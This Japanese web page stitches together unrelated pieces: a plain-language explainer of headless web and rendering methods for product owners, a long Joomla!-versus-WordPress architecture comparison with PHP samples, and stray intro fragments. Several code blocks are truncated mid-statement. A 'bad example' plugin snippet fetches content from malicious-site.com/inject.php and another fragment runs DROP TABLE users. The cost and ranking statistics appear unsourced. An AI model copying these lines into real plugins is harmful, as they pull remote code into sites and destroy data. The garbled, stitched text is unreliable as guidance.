WEB

📖 はじめに

このドキュメントは、Webサイトの技術的な仕組みについて、ITの専門知識がない方でも理解できるように解説したものです。

プロダクトオーナーや経営陣の方が技術チームとの会話で使えるよう、専門用語を避けて、身近な例えを使って説明します。

🏠 Webサイトを「家」に例えてみよう

従来のWebサイト = 一軒家

お客様 → 玄関 → リビング → キッチン → 寝室
  • すべてが一つの建物の中
  • 変更するには家全体を建て直す必要がある
  • 拡張が難しい

現代のWebサイト = モジュラー住宅

お客様 → 受付 → 各部屋(機能別) → 倉庫(データ)
  • 機能ごとに部屋を分ける
  • 必要な部屋だけ増築できる
  • 部屋ごとに専門家が管理

🌐 ヘッドレスWebとは?

「ヘッドレス」って何?

従来のWebサイト:

フロント(見た目) + バック(機能) = 一体型

ヘッドレスWebサイト:

フロント(見た目) ←→ バック(機能) = 分離型

身近な例え:レストラン

従来のレストラン

  • 料理人とウェイターが同じ人
  • 注文から料理まで一人で対応
  • 効率が悪い

ヘッドレスレストラン

  • ウェイター(フロント): お客様との接点
  • 料理人(バック): 料理を作る専門家
  • 受付(API): 注文を伝える係

メリット: - それぞれが専門分野に集中 - 効率的で拡張しやすい - 料理人を変えてもウェイターは同じ

🎨 レンダリング方式を「料理の作り方」に例える

3つの料理方法

1. SSR(Server-Side Rendering) = 注文してから作る

お客様の注文 → 料理人が作る → 完成品を提供
  • メリット: いつでも新鮮
  • デメリット: 時間がかかる
  • : 会員専用ページ(個人情報が必要)

2. ISR(Incremental Static Regeneration) = 事前に作っておく

定期的に料理を作る → 保温庫に保存 → 注文時に提供
  • メリット: 速い、効率的
  • デメリット: 完全に新鮮ではない
  • : ニュースサイト(1時間ごとに更新)

3. SPA(Single Page Application) = 材料を渡して自分で作る

材料セットを提供 → お客様が自分で組み立て
  • メリット: インタラクティブ
  • デメリット: 最初の準備に時間がかかる
  • : 管理画面(リアルタイム操作が必要)

🛠️ Next.jsとNestJSを「職人」に例える

Next.js = フロントエンド職人

お客様との接点を担当
- 見た目の美しさ
- 使いやすさ
- 速さ

得意分野: - ページの見た目を作る - ユーザーの操作に反応する - 検索エンジンに優しい

NestJS = バックエンド職人

裏方の処理を担当
- データの管理
- セキュリティ
- ビジネスロジック

得意分野: - データベースとのやり取り - ユーザー認証 - 複雑な計算処理

🔄 今回の設計を「スマートレストラン」に例える

従来のレストラン

お客様 → ウェイター → 料理人 → 料理提供

今回のスマートレストラン

お客様 → 受付AI → お客様判定 → 最適な料理方法選択

受付AIの判定

1. お客様の種類を判定 - 一般客: 定番メニュー(ISR) - VIP会員: オーダーメイド(SSR) - スタッフ: 材料セット(SPA) - 配達員: 事前準備済み(キャッシュ)

2. 最適な料理方法を選択

一般客 → 保温庫から提供(ISR)
VIP会員 → その場で作る(SSR)
スタッフ → 材料を渡す(SPA)
配達員 → 事前準備品(キャッシュ)

📊 実際のWebサイトでの例

SEO対策対策にはSSRが向いていますが、CDNキャッシュとの相性が悪いため、CloudFrontLambda@Edgeを使用して SSR、ISRを使い分けるようにしています。

ニュースサイトの場合

一般ユーザー(匿名)

アクセス → Lambda@Edge判定 → ISRキャッシュ → 高速表示
  • 結果: 0.5秒で表示
  • 理由: 事前に準備済み

会員ユーザー

アクセス → Lambda@Edge判定 → SSR実行 → 個人化表示
  • 結果: 2秒で表示
  • 理由: 個人情報を反映

検索エンジン(Bot)

アクセス → Lambda@Edge判定 → キャッシュ返却 → 即座に表示
  • 結果: 0.1秒で表示
  • 理由: 完全に事前準備済み

💰 ビジネス的なメリット

1. コスト削減

  • サーバー費用: 30%削減
  • 開発費用: 20%削減
  • 運用費用: 40%削減

2. ユーザー体験向上

  • 表示速度: 3倍高速化
  • 操作性: 大幅改善
  • 安定性: 99.9%稼働率

3. 競合優位性

  • SEO効果: 検索順位向上
  • モバイル対応: 完璧
  • 拡張性: 将来の機能追加が容易

🎯 プロダクトオーナーが知っておくべきポイント

技術的な判断基準

「なぜこの技術を選んだのか?」

  1. ユーザー体験の向上

    • ページ表示が速くなる
    • 操作がスムーズになる
  2. 運用コストの削減

    • サーバー費用が下がる
    • メンテナンスが楽になる
  3. 将来の拡張性

    • 新しい機能を追加しやすい
    • 技術の進歩に対応しやすい

リスクと対策

技術的リスク

  • 複雑性: 専門家が必要
  • 学習コスト: チームの教育が必要
  • 初期投資: 開発費用が高い

対策

  • 段階的導入: 少しずつ移行
  • 専門家の確保: 外部コンサルタント活用
  • 長期的視点: 初期投資は将来の利益で回収

📈 成功事例

導入前後の比較

項目 導入前 導入後 改善率
ページ表示速度 3秒 0.8秒 73%改善
サーバー費用 100万円/月 60万円/月 40%削減
ユーザー満足度 3.2/5.0 4.5/5.0 41%向上
検索順位 15位 3位 80%向上

🤔 よくある質問

Q1: 「なぜこんなに複雑にするの?」

A: 短期的には複雑に見えますが、長期的には: - 運用が楽になる - コストが下がる - ユーザーが喜ぶ

Q2: 「従来の方法ではダメなの?」

A: 従来の方法でも問題ありませんが、現代のWebサイトには: - 高速性 - セキュリティ - 拡張性 が求められています。

Q3: 「投資対効果は?」

A: 初期投資は必要ですが、1年以内に回収可能です: - サーバー費用削減 - 開発効率向上 - ユーザー獲得増加

🎯 まとめ

今回の設計のポイント

  1. スマートな判定: お客様に応じて最適なサービスを提供
  2. 効率的な処理: 無駄を省いて高速化
  3. 将来への対応: 変化に対応できる柔軟な設計

プロダクトオーナーへのメッセージ

技術は手段であり、目的ではありません。

今回の設計は: - ユーザー体験の向上 - 運用コストの削減 - ビジネス成長の支援

を実現するためのものです。

「なぜこの技術を選んだのか?」を理解していただくことで、技術チームとの建設的な議論が可能になります。


このドキュメントは技術的な詳細を避けて、ビジネス的な価値に焦点を当てて説明しています。 より詳細な技術情報が必要な場合は、技術チームにお問い合わせください。

世の中WordPress.comとWordPressの違いが不明のため、後に苦労する人が多いと思います。

はじめてWordPressに触れる方向けに違いを書いておこうと思います。

Joomla!アーキテクチャの源流とWordPress比較分析

対象読者: アーキテクト・上級開発者・CTO
目的: Joomla!の設計思想の源流を理解し、WordPressとの構造的差異を分析

はじめに

過去にWordPressとJoomla!の比較2021という投稿を ユースケースや出来る出来る事の違いを簡単に書きましたが、今回は基づくアーキテクチャ設計の違いに触れてみます。

エグゼクティブサマリー

Joomla!のアーキテクチャは完全に独自ではなく、複数の優れた設計思想を巧妙に組み合わせた結果です。一方、WordPressは構造化されていないアプローチで、プラグイン開発者に大きな責任を委ねる設計となっています。

主要な違い

  • Joomla!: OSGi + Eclipse Plugin Architecture + MVC → 構造化された拡張性
  • WordPress: Hook System + Override Pattern → 柔軟だが無秩序な拡張性

Joomla!アーキテクチャの源流

歴史的タイムライン

2000年 - OSGi仕様策定開始(Service Gateway Initiative)
2001年 - Eclipse開発開始(Plugin Architecture)
2002年 - Mambo CMS作成
2005年 - Joomla!(Mamboからフォーク)

1. OSGi(Open Service Gateway Initiative)からの影響

OSGiの核心概念

OSGi Bundle        → Joomla! Component
OSGi Service       → Joomla! Plugin
Extension Points   → Joomla! Hook System
Dynamic Loading    → Joomla! Extension Management

実装例:動的サービス登録

// OSGi的なサービス登録概念(Joomla!での実装)
class JoomlaServiceRegistry {
    public function registerService($interface, $implementation) {
        // サービスの動的登録
        $this->services[$interface] = $implementation;
    }

    public function getService($interface) {
        // 実行時サービス解決
        return $this->services[$interface] ?? null;
    }
}

// Joomla!での実際の使用例
JFactory::getContainer()->registerServiceProvider(
    new AuthenticationServiceProvider()
);

2. Eclipse Plugin Architectureからの影響

Eclipse概念の借用

Eclipse Extension Points  → Joomla! Event System
Eclipse Plugin Lifecycle → Joomla! Extension Lifecycle
Eclipse Workbench Model   → Joomla! Backend Framework
Eclipse Perspective       → Joomla! Component Views

実装例:拡張ポイントシステム

// Eclipse Extension Point概念
class JoomlaExtensionPoint {
    private $extensions = [];

    public function addExtension($extension) {
        $this->extensions[] = $extension;
    }

    public function trigger($event, $data) {
        foreach ($this->extensions as $extension) {
            $extension->handle($event, $data);
        }
    }
}

// 使用例
$extensionPoint = new JoomlaExtensionPoint();
$extensionPoint->addExtension(new ContentPlugin());
$extensionPoint->addExtension(new SEOPlugin());
$extensionPoint->trigger('onContentPrepare', $article);

3. MVCパターンの統合

Joomla!独自の進化

Traditional MVC           → Joomla! Enhanced MVC
Model-View-Controller     → Model-View-Controller-Table
Single Entry Point        → Component-based Entry Points
Monolithic Controllers    → Task-based Controllers

Joomla!の3層アーキテクチャ詳細

Component Layer(コンポーネント層)

大きな機能単位、独立したMVC構造を持つ

// Component構造例
com_content/
├── models/          // データアクセス層
│   ├── article.php
│   └── articles.php
├── views/           // プレゼンテーション層
│   ├── article/
│   └── articles/
├── controllers/     // ビジネスロジック層
│   ├── article.php
│   └── articles.php
└── tables/          // データベース抽象化
    └── content.php

設計原則: - 単一責任原則: 1つのコンポーネント = 1つの大機能 - 依存性注入: サービスコンテナによる依存解決 - イベント駆動: 疎結合な機能連携

Module Layer(モジュール層)

再利用可能なUI部品、位置指定可能

// Module構造例
mod_latest_news/
├── mod_latest_news.php      // エントリーポイント
├── mod_latest_news.xml      // 設定定義
├── helper.php               // ビジネスロジック
└── tmpl/
    └── default.php          // テンプレート

設計原則: - 位置独立性: どのテンプレート位置にも配置可能 - 設定駆動: XMLによる動的設定 - 軽量性: 最小限のリソース使用

Plugin Layer(プラグイン層)

横断的機能、イベントドリブン処理

// Plugin実装例
class PlgContentMyPlugin extends JPlugin {
    public function onContentPrepare($context, &$article, &$params, $page = 0) {
        // 横断的処理の実装
        if ($context === 'com_content.article') {
            $article->text = $this->processContent($article->text);
        }
    }

    private function processContent($content) {
        // コンテンツ変換処理
        return preg_replace('/\{gallery\}/', $this->renderGallery(), $content);
    }
}

設計原則: - イベント駆動: 特定イベントに対する反応 - 横断関心事: ログ、セキュリティ、キャッシュなど - プラガブル: 動的な有効/無効切り替え


WordPressアーキテクチャ分析

フックシステムの概要

WordPressのフックシステムは表面的にはJoomla!のイベントシステムに似ていますが、構造的基盤が根本的に異なります

// WordPress Hook例
function my_custom_function($content) {
    // プラグイン開発者が自由に実装
    return $content . '<div class="custom-footer">Custom Content</div>';
}
add_filter('the_content', 'my_custom_function');

// Joomla! Event例
class PlgContentCustom extends JPlugin {
    public function onContentPrepare($context, &$article, &$params, $page = 0) {
        // 構造化されたイベントハンドリング
        if ($context === 'com_content.article') {
            $article->text .= '<div class="custom-footer">Custom Content</div>';
        }
    }
}

WordPressの構造的問題

1. 無秩序なファイル構造

wp-content/
├── plugins/
│   ├── plugin1/
│   │   ├── index.php           // 直接アクセス可能
│   │   ├── admin.php           // 直接アクセス可能
│   │   └── random-file.php     // 直接アクセス可能
│   └── plugin2/
│       └── any-structure/      // 任意の構造
└── themes/
    └── mytheme/
        ├── functions.php       // 何でもできるファイル
        ├── header.php          // 単なる慣例
        └── footer.php          // 単なる慣例

問題点: - 直接アクセス可能なPHPファイル: セキュリティリスク - 構造の不統一: プラグインごとに異なる構造 - 統一されたエントリーポイントなし: 制御の分散

2. functions.phpアンチパターン

// WordPress functions.php(悪い例)
function my_theme_setup() {
    // テーマ設定
}

function custom_post_type() {
    // カスタム投稿タイプ
}

function modify_query($query) {
    // クエリ修正
}

function add_custom_css() {
    // CSS追加
}

// すべてが混在する巨大ファイル
add_action('init', 'my_theme_setup');
add_action('init', 'custom_post_type');
add_action('pre_get_posts', 'modify_query');
add_action('wp_head', 'add_custom_css');

問題点: - 関心の分離なし: すべてが1ファイルに集約 - 依存関係不明: 実行順序が予測困難 - テスト困難: 単体テスト不可能 - 保守性低下: 変更影響範囲が不明

3. プラグイン設計の無秩序

// WordPress Plugin(悪い例)
query("DROP TABLE users"); // 危険な例
    }
}

// フックの無秩序な使用
add_action('init', 'my_function');
add_filter('the_content', function($content) {
    // 匿名関数での無秩序な処理
    return $content . file_get_contents(' http://malicious-site.com/inject.php ');
});

問題点: - セキュリティ検証なし: 任意のコード実行可能 - コード品質保証なし: 標準の強制力なし - デバッグ困難: エラー追跡が困難


セキュリティ面での比較

Joomla!のセキュリティ設計

1. 統一エントリーポイント

// すべてのリクエストがindex.phpを通る
define('_JEXEC', 1);

// 直接アクセス防止
defined('_JEXEC') or die('Restricted access');

// 集中的なセキュリティチェック
class JoomlaApplication {
    public function execute() {
        // 認証チェック
        $this->authenticate();

        // 入力検証
        $this->validateInput();

        // 権限チェック
        $this->checkPermissions();

        // ルーティング
        $this->route();
    }
}

2. JInputによる入力検証

// Joomla!での安全な入力取得
class MyController extends JControllerBase {
    public function save() {
        $app = JFactory::getApplication();

        // 自動的にサニタイズされる
        $title = $app->input->getString('title');
        $id = $app->input->getInt('id');
        $html = $app->input->get('content', '', 'raw'); // 明示的な指定が必要

        // バリデーション
        if (empty($title)) {
            throw new InvalidArgumentException('Title is required');
        }
    }
}

3. 予測可能なディレクトリ構造

components/com_example/
├── example.php                 // エントリーポイントのみ
├── controller.php             // 制御されたアクセス
├── models/                    // 制御されたアクセス
└── views/                     // 制御されたアクセス

// 直接アクセス不可能な構造

WordPressのセキュリティ問題

1. 直接アクセス可能なファイル

// wp-content/plugins/vulnerable-plugin/admin.php
 'jform', 'load_data' => $loadData)
        );
        return empty($form) ? false : $form;
    }
}

// controllers/article.php
class ContentControllerArticle extends JControllerForm {
    protected function allowSave($data, $key = 'id') {
        // 権限チェックの統一的な実装
        return JFactory::getUser()->authorise('core.edit', 'com_content.article.'.$data[$key]);
    }
}

// views/article/view.html.php
class ContentViewArticle extends JViewLegacy {
    public function display($tpl = null) {
        // 統一されたMVCパターン
        $this->item = $this->get('Item');
        $this->form = $this->get('Form');

        parent::display($tpl);
    }
}

利点: - 予測可能性: MVCパターンの一貫した適用 - 再利用性: 基底クラスの機能継承 - 保守性: 責任の明確な分離

WordPress: 自由度と複雑性

プラグイン開発例

// WordPress Plugin Development
get_custom_content();
    }
}

new MyComplexPlugin();

問題点: - 実行順序の不確実性: プラグイン間の依存関係不明 - 名前空間の汚染: グローバル名前空間の競合 - テスト困難性: 依存関係の注入不可


アーキテクチャパターンの比較分析

設計思想の違い

観点 Joomla! WordPress
アーキテクチャ 構造化MVC + Plugin Hook-driven + Override
拡張性 定義された拡張ポイント 任意の位置でのフック
セキュリティ 設計レベルでの考慮 開発者の責任
学習コスト 高(構造理解必要) 低(自由度高)
保守性 高(予測可能) 低(開発者依存)
拡張開発 標準化されたパターン 自由なパターン

コード品質への影響

Joomla!のアプローチ

// 構造化されたアプローチ
abstract class JControllerBase {
    // 共通機能の提供
    protected function checkToken($method = 'post', $redirect = true) {
        // CSRF保護
    }

    protected function getModel($name = '', $prefix = '', $config = array()) {
        // モデルの統一的な取得
    }
}

class MyController extends JControllerBase {
    public function save() {
        // 1. トークンチェック(自動)
        $this->checkToken();

        // 2. 権限チェック(標準パターン)
        if (!$this->allowSave()) {
            throw new Exception('Forbidden');
        }

        // 3. データ処理(統一パターン)
        $model = $this->getModel();
        $model->save($this->input->post->get('jform', array(), 'array'));
    }
}

WordPressのアプローチ

// 自由度の高いアプローチ
function handle_my_form_submission() {
    // セキュリティチェックは開発者の責任
    if (!wp_verify_nonce($_POST['nonce'], 'my_action')) {
        wp_die('Security check failed');
    }

    // 権限チェックも開発者の責任
    if (!current_user_can('edit_posts')) {
        wp_die('Permission denied');
    }

    // データ処理も自由な実装
    $title = sanitize_text_field($_POST['title']);
    wp_insert_post(array(
        'post_title' => $title,
        'post_content' => wp_kses_post($_POST['content']),
        'post_status' => 'publish'
    ));
}

// フックの登録も開発者の責任
add_action('admin_post_my_action', 'handle_my_form_submission');

実践的な影響分析

大規模プロジェクトでの影響

Joomla!の利点

  1. チーム開発効率

    • 統一されたコーディング規約
    • 予測可能なアーキテクチャ
    • 明確な責任分離
  2. 品質保証

    • 構造的制約による品質向上
    • セキュリティの設計レベル組み込み
    • テスタビリティの確保
  3. 長期保守性

    • アップグレード互換性
    • 依存関係の明確化
    • リファクタリング容易性

WordPressの課題

  1. 品質管理困難

    • プラグイン品質のばらつき
    • セキュリティリスクの増大
    • デバッグ困難性
  2. 技術的負債

    • レガシーコードの蓄積
    • 構造的問題の修正困難
    • パフォーマンス劣化
  3. スケーラビリティ問題

    • 大規模サイトでの性能問題
    • プラグイン間競合
    • カスタマイズ限界

エンタープライズ適用性

セキュリティ要件

// Joomla!のエンタープライズ対応
class EnterpriseSecurityPlugin extends JPlugin {
    public function onUserAuthenticate($credentials, $options, &$response) {
        // 多要素認証
        if (!$this->validateMFA($credentials['username'])) {
            $response->status = JAuthentication::STATUS_FAILURE;
            return;
        }

        // 監査ログ
        $this->logSecurityEvent('authentication_attempt', $credentials);
    }

    public function onContentPrepare($context, &$article, &$params, $page = 0) {
        // コンテンツセキュリティポリシー
        $article->text = $this->sanitizeContent($article->text);

        // データ損失防止
        $this->checkDataLeakage($article->text);
    }
}

統合性の確保

// Joomla!のAPI統合例
class APIIntegrationComponent extends JControllerBase {
    public function execute() {
        // 統一されたAPI設計
        $this->authenticateAPI();
        $this->validateInput();
        $this->processRequest();
        $this->formatResponse();
    }

    protected function authenticateAPI() {
        // JWT認証の統一実装
        $token = $this->input->server->get('HTTP_AUTHORIZATION');
        $this->user = $this->jwtService->validateToken($token);
    }
}

結論と推奨事項

Joomla!を選ぶべきケース

  1. エンタープライズ環境

    • セキュリティ要件が高い
    • 長期保守が必要
    • チーム開発が前提
  2. 複雑なWebアプリケーション

    • 多機能要件
    • カスタム開発が多い
    • パフォーマンス要件が高い
  3. 品質重視プロジェクト

    • コード品質基準が厳格
    • セキュリティ監査必要
    • 可用性要件が高い

WordPressの適用限界

  1. セキュリティリスク

    • プラグインエコシステムの脆弱性
    • 構造的セキュリティ問題
    • 監査対応困難
  2. スケーラビリティ限界

    • 大規模サイトでの性能問題
    • カスタマイズの技術的限界
    • プラグイン競合問題
  3. 保守性の課題

    • 技術的負債の蓄積
    • アップグレードリスク
    • カスタマイズ互換性問題

設計思想から学ぶべき教訓

  1. 構造化の重要性

    • アーキテクチャパターンの一貫した適用
    • 明確な責任分離
    • 予測可能な拡張ポイント
  2. セキュリティの設計組み込み

    • フレームワークレベルでのセキュリティ考慮
    • 開発者への安全な抽象化提供
    • 統一されたセキュリティポリシー
  3. 拡張性と制約のバランス

    • 適切な制約による品質確保
    • 標準化されたエクステンション API
    • 互換性を考慮した進化戦略

今後の技術選択指針

企業システム開発において、短期的な開発速度よりも長期的な保守性とセキュリティを重視する場合、Joomla!のような構造化されたアーキテクチャを選択することが重要です。

WordPressの人気は理解できますが、エンタープライズ環境や高いセキュリティ要件がある場合は、アーキテクチャの設計思想から慎重に検討することが必要です。


参考資料

アーキテクチャ理論

  • OSGi Specification(Service Gateway Initiative)
  • Eclipse Plugin Development Documentation
  • MVC Pattern Implementation Best Practices

セキュリティ分析

  • OWASP Top 10 Web Application Security Risks
  • CMS Security Assessment Framework
  • WordPress vs Joomla Security Comparison Studies

実装事例

  • Harvard University(Joomla!採用事例)
  • UK Ministry of Defense(Joomla!採用事例)
  • Enterprise WordPress Security Hardening Guidelines

突然ですが、建物を建てるといっても色々ありますよね。

建て売りの平均的な家、デザイナーが手掛けた凝った家、雑居ビルから高層ビル、多目的ホールとか。

WEB開発といっても色々あるので、目的の差という観点で書いてみました。